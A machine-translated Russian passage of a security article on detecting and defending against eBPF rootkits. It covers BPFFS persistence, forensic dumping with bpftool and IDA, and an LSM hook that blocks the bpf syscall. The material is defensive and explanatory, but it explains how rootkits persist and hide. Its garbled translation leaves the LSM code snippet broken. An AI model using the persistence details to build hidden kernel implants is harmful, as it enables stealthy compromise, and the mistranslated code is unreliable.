В дополнение к ранее упомянутым методамФайловая система BPFBPFFS - это также способ поддерживать работу BPF-программ в фоновом режиме. Процесс пользовательского пространства может поместить BPF-программу в BPFFS под любым именем и поддерживать ее активность в фоновом режиме, позволяя BPFFS автоматически увеличивать счетчик ссылок BPF-объекта refcnt. Для получения FD объекта BPF достаточно использовать bpf_obj_get("BPFFS path").
Тип BPFFS в Linux - BPF_FS_MAGIC, каталог по умолчанию /sys/fs/bpf/ можно изменить, но убедитесь, что тип файловой системы - unix.BPF_FS_MAGIC.
Если говорить об идеях обнаружения, то нам нужно сосредоточиться на том, имеет ли виртуальная файловая система тип unix.BPF_FS_MAGIC.
В системах Linuxmount -t bpf
чтобы увидеть все типы файлов, висящие в системе, и узнать, содержат ли они тип BPFFS.
После определения директории для BPFFS мы просматриваем точки монтирования в этой директории на предмет аномалий.
судебная экспертиза
Экспорт объектов BPF, загружаемых ядром
Инструмент bpftool может экспортировать проги, карты с идентификатором FD.
Прог-программа BPF
Вы можете экспортировать opcodevisuallinum и другие форматы, а также генерировать диаграмму отношений вызовов. В частности, вы можете посмотреть файл справки по bpftool.
root@vmubuntu:/home/cfc4n# bpftool prog help
bpftool prog dump xlated PROG [{ файл FILE | opcodes | visual | linum }]
bpftool prog dump jited PROG [{ file FILE | opcodes | visual | linum }]
Карта БПФ
Аналогично проге, содержимое можно экспортировать через bpftool, поддерживается формат JSON.
root@vmubuntu:/home/cfc4n# bpftool map dump id 20
[{
"value": {
".rodata": [{
"target_ppid": 0
},{
"uid": 0
},{
"payload_len": 38
...
BPFFS
BPFFS типа BPF объекта, хотя это может быть более удобным, чтобы положить в фоновом режиме выполнения, пользовательского пространства программа может быть завершена, но и может быть прочитан снова, но это также приносит большое удобство для криминалистов. bpftool команда также поддерживает из прикреплены к BPFFS файловой системы в пути экспорта прог, карты. параметры немного отличаются, см. bpftool помощь для деталей.
Объекты BPF, не загруженные ядром
Когда программа пользовательского пространства руткита находится в пользовательском пространстве, то байткод BPF обязательно будет вызван ею. Содержимое байткода обычно помещается в отдельный файл или компилируется в текущую программу в виде байткода. Для этого также достаточно воспользоваться декомпилятором, например IDA, чтобы найти соответствующий поток байтов и экспортировать его.
Возьмем для примера процесс ehids, показанный в демонстрационном видео в этой статье, и используемGitHub/ehids/ebpfmanager Чистый Go eBPF модуль менеджер пакет, для eBPF байткод будет использовать github.com/shuLhan/go-bindata/cmd/go-bindata пакет для BPF байткод для загрузки, Gzip сжатия, как переменная Go кода, в развертывании более границы.
Когда IDA Pro загружается, мы можем увидеть этот кусок кода в части сегмента .noptrdata, адрес начала - 0000000000827AE0. После экспорта и последующей распаковки вы можете восстановить оригинальное содержимое BPF ELF-файла.
Поскольку каждая пользовательская реализация BPF отличается, библиотека классов также отличается, статический анализ трудно применить на практике. Тогда вы можете смоделировать ту же среду, запустить динамически, заранее зацепить системный вызов BPF, найти место, где установлен FD, а также экспортировать ELF-файл BPF.
анализ байткода
Сам байт-код BPF также является форматом ELF, просто инструкции формата имеют некоторые отличия. Декомпилятор IDA pro также может его поддерживать, зарубежные инженеры по безопасности открыли исходный код плагина для Python:eBPF IDA Proc и написать статью с его анализом:Обратная разработка руткита Ebpfkit с помощью улучшенного инструмента IDA-процессора BlackBerry Заинтересованные студенты могут ознакомиться с ней.
Как защищаться
Использование eBPF в сценариях сетевой безопасности, помимо обнаружения вторжений, может быть использовано и для защиты. LSM PROBE hook предоставляет соответствующие функции. Сценарии побега контейнера, например, наиболее очевидной особенностью поведения является несоответствие пространства имен "родительский-детский процесс", создание дочернего процесса завершено, определите, соответствует ли эта особенность, верните EPERM, чтобы покрыть возвращаемое значение функции создания процесса, чтобы играть цель обороны. По сравнению с модулем ядра и другими защитными реализациями, реализация eBPF является более безопасной, стабильной и надежной, что позволяет решить проблему выхода контейнера из источника.
Аналогичным образом, в данной статье утверждается, что eBPF является лучшим решением для виртуального исправления и горячего обновления для двоичного уровня.
LSM_PROBE(bpf. int Команда. профсоюз bpf_attr *attr, unsigned int size)
{
возврат -EPERM.
}
Существуют определенные требования к конфигурации системы, CONFIG_BPF_LSM=y, CONFIG_LSM и другое содержимое конфигурации, должно включать bpf и так далее, подробности можно посмотреть наБиблиотека классов BCC Демонстрационный зонд lsm .
Инженерная реализация
практика
Для начала попробуйте использовать библиотеки классов BCC:GitHub/BCC и различные демонстрационные примеры программ пользовательского пространства на языке C.Демонстрация применения BPF .
Выбор библиотеки класса
Инженерия, качество проекта, стабильность, требования к эффективности исследований и разработок, мы рекомендуем библиотеку Cilium's pure Go eBPF, официальное одобрение Cilium может быть гарантировано, что использование продуктов Datadog's Agent также использует эту библиотеку.
Под продуктом в данной статье также подразумевается Datadog, абстрактно оборачивающий библиотеку eBPF компании Cilium для обеспечения настраиваемого и удобного управления программами eBPF. Репозиторий GitHub:ehids/ebpfmanager , которые вы можете использовать.
Конечно, его можно реализовать и с помощью libbpf-пакетов библиотек Go, например, таких продуктов, как Tracee.
Совместимость с системой CO-RE
Появление eBPF значительно упростило порог написания кода ядра, и eBPF пользуется большим спросом благодаря своей высокой безопасности, удобному методу загрузки и эффективному взаимодействию с данными. Однако, как и при написании традиционных модулей ядра, разработка функций состояния ядра сопровождается утомительной работой по тестированию адаптации, а множество версий ядра Linux делают адаптацию еще более сложной, поэтому bcc + clang + llvm долгое время подвергались критике до появления BTF. Программы компилируются при запуске, и на целевой машине приходится устанавливать clang llvm kernel-header и другие среды компиляции, кроме того, компиляция потребляет много ресурсов процессора, что неприемлемо на некоторых высоконагруженных машинах.
Поэтому BTF&CO-RE появились из ниоткуда, BTF можно понимать как своего рода отладочные символы для описания пути, до традиционного пути отладочная информация будет очень огромной, ядро Linux будет обычно отключать отладочные символы, появление BTF решило эту проблему, значительно уменьшив размер отладочной информации, сделав возможным производство сценария ядра, несущего отладочную информацию.
К счастью, при использовании BTF&CO-RE эта технология может помочь разработчикам сэкономить много усилий на адаптации, но эта технология все еще находится в стадии разработки, есть еще много сценариев, с которыми нельзя справиться, например, члены структуры перемещаются в подструктуру, которую все еще нужно решать вручную, разработчики BTF также написали статью, объясняющую различные сценарии работы с программойbpf-core-reference-guide.
Крупномасштабные проекты
За рубежом облачно-нативные продукты развиваются быстрее, и уже появилось несколько продуктов на базе eBPF, в том числе Cilium,Datadog Falco, Katran и т. д., применяемые в различных областях, таких как сетевая оркестровка, сетевой брандмауэр, отслеживание и позиционирование, безопасность во время выполнения и т. д. Вы можете изучить опыт R&D этих масштабных проектов, чтобы ускорить создание продукта, включая совместимость с несколькими системами, разработку фреймворка, качество проекта и создание системы мониторинга. Эта статья посвящена обнаружению и защите, а опытом, связанным с проектированием и строительством, мы поделимся в следующих статьях.
резюме
С быстрым развитием "родного облака" программное обеспечение и среда выполнения eBPF будут становиться все более популярными. А вредоносная эксплуатация eBPF будет становиться все более распространенной. Судя по ситуации в стране и за рубежом, зарубежные исследования в этом направлении значительно опережают отечественные.Мы еще раз призываем всех как можно скорее оснастить продукты сетевой безопасности функциями обнаружения угроз, связанных с eBPF..
В этой статье мы обсудили с вами механизм вредоносной эксплуатации и обнаружения на основе технологии eBPF, в которой упоминается eBPF в защите и обнаружении разработки продуктов, инженерного строительства и другого контента, мы поделимся с вами в следующей статье, пожалуйста, с нетерпением ждем.
Профиль автора
Чэнь Чи, Ян И и Синь Бо, все из компании Meituan Information Security.
библиография
- Создание и противодействие следующему поколению руткитов для Linux
- DEFCON 29 - eBPF, я думал, мы друзья
- Различные технические приложения eBPF Коллекция PDF
- Наступательный BPF: вредоносный bpftrace
- Плохой BPF - искажение реальности с помощью eBPF
- Срок службы объектов BPF
- Объяснение типа BPF Program (BPF Prog): сценарии использования, подписи функций, места выполнения и примеры программ
- Особенности bpftool: поток советов и примеров по работе с объектами eBPF
- Обратная разработка руткита Ebpfkit с помощью улучшенного инструмента IDA-процессора BlackBerry
- Создание и противодействие следующему поколению руткитов для Linux с помощью eBPF
- eBPF Syscall
- Анализ исходного кода механизма реализации Cilium eBPF
- ebpfkit - это руткит, работающий на основе eBPF.
Автор статьи - SnowFlake, при воспроизведении просьба указывать: https://cncso.com/ru/linux-ebpf-attack-and-defence-and-security-html.